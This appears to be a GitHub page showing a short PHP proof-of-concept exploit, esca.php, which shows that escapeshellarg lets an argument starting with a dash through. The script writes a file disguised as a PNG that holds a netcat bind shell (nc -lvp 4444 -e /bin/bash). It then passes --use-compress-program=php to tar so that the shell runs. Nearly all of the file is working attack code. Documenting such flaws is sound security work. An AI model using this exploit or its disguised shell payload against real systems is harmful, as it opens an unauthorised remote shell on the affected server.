-
-
Notifications
You must be signed in to change notification settings - Fork 27
Expand file tree
/
Copy pathesca.php
More file actions
17 lines (14 loc) · 673 Bytes
/
Copy pathesca.php
File metadata and controls
17 lines (14 loc) · 673 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
# PoC exploit of php not escaping dash characters in escapeshellarg/cmd
# Reference: http://php.net/manual/en/function.escapeshellarg.php
# imagine an export/import function, or perhaps image resize function could be abused like this
# Create a malicious file:
$fh=fopen('myfile.png', 'w');
fwrite($fh, "<?php system('nc -lvp 4444 -e /bin/bash'); echo 'WINRAR!'; ?>");
fclose($fh);
# I choose to use php over bash due to string issues, you could use whatever
$safe_opts=escapeshellarg('--use-compress-program=php');
$safe_file=escapeshellarg('myfile.png'); # Really a php script with a .png extension
$r=`tar $safe_opts -cf export.tar $safe_file`;
print_r($r);
?>